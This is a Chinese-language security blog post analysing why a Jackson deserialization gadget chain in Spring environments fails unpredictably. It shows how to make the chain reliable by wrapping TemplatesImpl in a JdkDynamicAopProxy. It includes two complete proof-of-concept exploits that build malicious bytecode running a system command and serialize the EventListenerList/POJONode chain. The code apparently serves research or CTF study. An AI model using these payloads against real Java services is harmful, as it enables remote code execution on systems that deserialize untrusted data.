Jackson中getter触发不稳定问题
前言
最近在分析《高版本JDKSpring原生反序列化链》时,其中有一个知识点为《JACKSON链的不稳定性》,前来学习一下(有个很奇怪很奇怪的事情,为什么我的Jackson链子十分的稳定,outputProperties
总是第一名……初步猜测为本人电脑环境问题)
问题背景
在调用该Jackson链,调用任意类的getter方法时,有时会爆出以下错误(当然我没有这种问题,但我很想有)
1
| com.fasterxml.jackson.databind.JsonMappingException: (was java.lang.NullPointerException) (through reference chain: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl["stylesheetDOM"])
|
在Jackson链调用TemplateImpl
类的getter方法时,当getStylesheetDOM
方法优先级较高时,由于_sdom
为空,所以会爆出上面的错误

在打该Jackson链时,如果getStylesheetDOM
优先级较高,导致我们攻击失败,由于存在缓存机制,第一次攻击时会创建缓存,在第一次攻击失败后面的攻击就不会再成功,因此解决这个问题是比较必要的
Jackson链不稳定性问题分析
漏洞环境
Jackson链的不稳定性原因
发序列化流程
这篇文章中讨论的是Jackson链不稳定性问题,反序列化流程就不过多赘述了,大致流程如下
1
| EventListenerList#readObject --> POJONode#toString --> TemplateImpl#getOutputProperties
|
这里给出一个Poc,师傅们可以自行找一些文章进行学习
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| public class Poc { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace"); ctClass0.removeMethod(writeReplace); ctClass0.toClass();
CtClass ctClass = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); ctClass.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass); constructor.setBody("Runtime.getRuntime().exec(\"calc\");"); ctClass.addConstructor(constructor); byte[] bytes = ctClass.toBytecode();
Templates templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes}); setFieldValue(templatesImpl, "_name", "test"); setFieldValue(templatesImpl, "_tfactory", null);
POJONode jsonNodes = new POJONode(templatesImpl);
Vector vector = new Vector<>(); vector.add(jsonNodes);
UndoManager undoManager = new UndoManager(); Field edits = undoManager.getClass().getSuperclass().getDeclaredField("edits"); edits.setAccessible(true); edits.set(undoManager, vector);
EventListenerList eventListenerList = new EventListenerList(); setFieldValue(eventListenerList, "listenerList", new Object[]{Class.class,undoManager});
serialize(eventListenerList); unserialize(); } private static void setFieldValue(Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, arg); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static void unserialize() throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin")); Object obj = ois.readObject(); } }
|
根本原因
总的来说就是,在POJONode#toString
方法调用TemplateImpl
的getter方法时,三个getter方法的优先级是随机的,而getStylesheetDOM
方法优先级较高时,会由于_sdom
值为空,因此抛出异常
在BeanSerializerBase#serializeFields
方法中打一个断点,在该方法中我们可以看到,三个getter的顺序如下(这里我的顺序并没有随机性的体现,很奇怪)

当outputProperties
优先级高于stylesheetDOM
时,这个payload才可以打得通
在后面调用了prop.serializeAsFiled
方法,该方法中就会通过反射调用对应getter方法

不稳定性问题解决
分析
我们可以通过JdkDynamicAopProxy
来解决Jackson链的不稳定性问题
在JAVA中,代理对象所能被调用的方法取决于我们所给的接口,而其功能取决于我们所给的handler对象。在我们利用getDeclareMethods
方法获取其所有方法时,也是根据我们提供的接口获取的
我们可以写一个Demo来测试一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public class proxy { public static void main(String[] args) {
Object myProxy = Proxy.newProxyInstance(TemplatesImpl.class.getClassLoader(), new Class[]{Templates.class}, new testHandler()); for (Method m : myProxy.getClass().getDeclaredMethods()) { System.out.println(m.getName()); } } }
class testHandler implements InvocationHandler {
@Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { return null; } }
|
在javax.xml.transform.Templates
接口中,只有newTransformer
和getOutputProperties
这两个方法,当Templates
作为我们代理所需的接口时,通过getDeclaredMethodsgetDeclaredMethods
方法获取的方法只有newTransfomer
和getOutputProperties
方法,因此获取的getter方法也只有getOutputProperties
了

假如我们传入该代理时,最后就会对该代理调用getOutputProperties
方法,对代理调用任意方法时,就会触发该代理对应handler的invoke
方法,不会走到我们想走到的getOutputProperties
方法
那么我们就要找到一个handler,他的invoke方法中会执行我们所调用的方法
JdkDynamicAopProxy 是 Spring 框架中的一个类,它实现了 JDK 动态代理机制,用于创建代理对象来实现面向切面编程(AOP)的功能
我们看到JdkDynamicAopProxy
的invoke方法中

在最后的AopUtils.invokeJoinpointUsingReflection
方法中,会通过反射执行我们所调用的方法

这里的target
是从targetSource
中获取的

targetSource
是从this.advised
中得到的

看到JdkDynamicAopProxy
的构造方法中,可以发现this.advised
是可控的
因此在构造JdkDynamicAopProxy
代理时,可以将我们的TemplateImpl
对象用AdvisedSupport
进行封装,然后传入JdkDynamicAopProxy
中

由此构造出我们想要的代理对象,构造代码如下
1 2 3 4 5 6 7
| Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy"); Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class); cons.setAccessible(true); AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(templatesImpl); InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport); Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
|
POC
整体的POC如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| public class Poc {
public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace"); ctClass0.removeMethod(writeReplace); ctClass0.toClass();
CtClass ctClass = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); ctClass.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass); constructor.setBody("Runtime.getRuntime().exec(\"calc\");"); ctClass.addConstructor(constructor); byte[] bytes = ctClass.toBytecode();
Templates templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes}); setFieldValue(templatesImpl, "_name", "test"); setFieldValue(templatesImpl, "_tfactory", null);
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy"); Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class); cons.setAccessible(true); AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(templatesImpl); InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport); Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
POJONode jsonNodes = new POJONode(proxyObj);
Vector vector = new Vector<>(); vector.add(jsonNodes);
UndoManager undoManager = new UndoManager(); Field edits = undoManager.getClass().getSuperclass().getDeclaredField("edits"); edits.setAccessible(true); edits.set(undoManager, vector);
EventListenerList eventListenerList = new EventListenerList(); setFieldValue(eventListenerList, "listenerList", new Object[]{Class.class,undoManager});
serialize(eventListenerList); unserialize(); } private static void setFieldValue(Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, arg); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static void unserialize() throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin")); Object obj = ois.readObject(); } }
|
使用JdkDynamicAopProxy
代理后,我们调试到serializeFileds
方法时,可以看到就只有这一个getter方法了
就算使用原来的 payload打失败了该payload也可以继续使用,无视其缓存机制,因为其最终调用的getter方法只有 getOutputProperties
